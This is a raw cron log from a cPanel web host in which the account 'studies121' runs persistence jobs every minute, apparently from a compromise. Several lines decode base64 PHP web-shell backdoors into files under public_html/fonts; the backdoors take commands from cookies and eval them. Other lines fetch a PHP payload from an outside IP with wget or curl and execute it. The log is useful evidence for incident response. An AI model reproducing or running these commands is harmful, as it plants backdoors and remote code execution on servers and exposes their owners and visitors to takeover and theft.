Aug 31 05:00:01 ip-184-168-122-23 CROND[1492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:00:01 ip-184-168-122-23 CROND[1491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:00:01 ip-184-168-122-23 CROND[1490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:00:01 ip-184-168-122-23 CROND[1494]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:00:01 ip-184-168-122-23 CROND[1495]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:00:01 ip-184-168-122-23 CROND[1497]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:00:01 ip-184-168-122-23 CROND[1489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:00:01 ip-184-168-122-23 CROND[1499]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:01:01 ip-184-168-122-23 CROND[1651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:01:01 ip-184-168-122-23 CROND[1649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:01:01 ip-184-168-122-23 CROND[1650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:01:01 ip-184-168-122-23 CROND[1653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 05:01:01 ip-184-168-122-23 CROND[1652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:01:01 ip-184-168-122-23 CROND[1654]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1654]: starting 0anacron
Aug 31 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1671]: finished 0anacron
Aug 31 05:02:01 ip-184-168-122-23 CROND[1853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:02:01 ip-184-168-122-23 CROND[1855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:02:01 ip-184-168-122-23 CROND[1856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:02:01 ip-184-168-122-23 CROND[1857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:02:01 ip-184-168-122-23 CROND[1858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:03:01 ip-184-168-122-23 CROND[1997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:03:01 ip-184-168-122-23 CROND[1999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:03:01 ip-184-168-122-23 CROND[1998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:03:01 ip-184-168-122-23 CROND[2000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:04:01 ip-184-168-122-23 CROND[2097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:04:01 ip-184-168-122-23 CROND[2101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:04:01 ip-184-168-122-23 CROND[2099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:04:01 ip-184-168-122-23 CROND[2102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:04:01 ip-184-168-122-23 CROND[2100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:05:01 ip-184-168-122-23 CROND[2225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:05:01 ip-184-168-122-23 CROND[2224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:05:01 ip-184-168-122-23 CROND[2226]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 05:05:01 ip-184-168-122-23 CROND[2229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:05:01 ip-184-168-122-23 CROND[2230]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:05:01 ip-184-168-122-23 CROND[2231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:05:01 ip-184-168-122-23 CROND[2232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:06:01 ip-184-168-122-23 CROND[2361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:06:01 ip-184-168-122-23 CROND[2363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:06:01 ip-184-168-122-23 CROND[2365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:06:01 ip-184-168-122-23 CROND[2364]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:06:01 ip-184-168-122-23 CROND[2366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:07:01 ip-184-168-122-23 CROND[2472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:07:01 ip-184-168-122-23 CROND[2476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:07:01 ip-184-168-122-23 CROND[2475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:07:01 ip-184-168-122-23 CROND[2477]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:08:01 ip-184-168-122-23 CROND[2590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:08:01 ip-184-168-122-23 CROND[2592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:08:01 ip-184-168-122-23 CROND[2595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:08:01 ip-184-168-122-23 CROND[2593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:08:01 ip-184-168-122-23 CROND[2594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:09:01 ip-184-168-122-23 CROND[2733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:09:01 ip-184-168-122-23 CROND[2734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:09:01 ip-184-168-122-23 CROND[2736]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:09:01 ip-184-168-122-23 CROND[2740]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 05:09:01 ip-184-168-122-23 CROND[2741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:10:01 ip-184-168-122-23 CROND[3018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 05:10:01 ip-184-168-122-23 CROND[3019]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 05:10:01 ip-184-168-122-23 CROND[3020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:10:01 ip-184-168-122-23 CROND[3023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:10:01 ip-184-168-122-23 CROND[3025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 05:10:01 ip-184-168-122-23 CROND[3028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 05:10:01 ip-184-168-122-23 CROND[3026]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 05:10:01 ip-184-168-122-23 CROND[3027]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:11:01 ip-184-168-122-23 CROND[3173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 05:11:01 ip-184-168-122-23 CROND[3172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 05:11:01 ip-184-168-122-23 CROND[3175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 05:11:01 ip-184-168-122-23 CROND[3174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
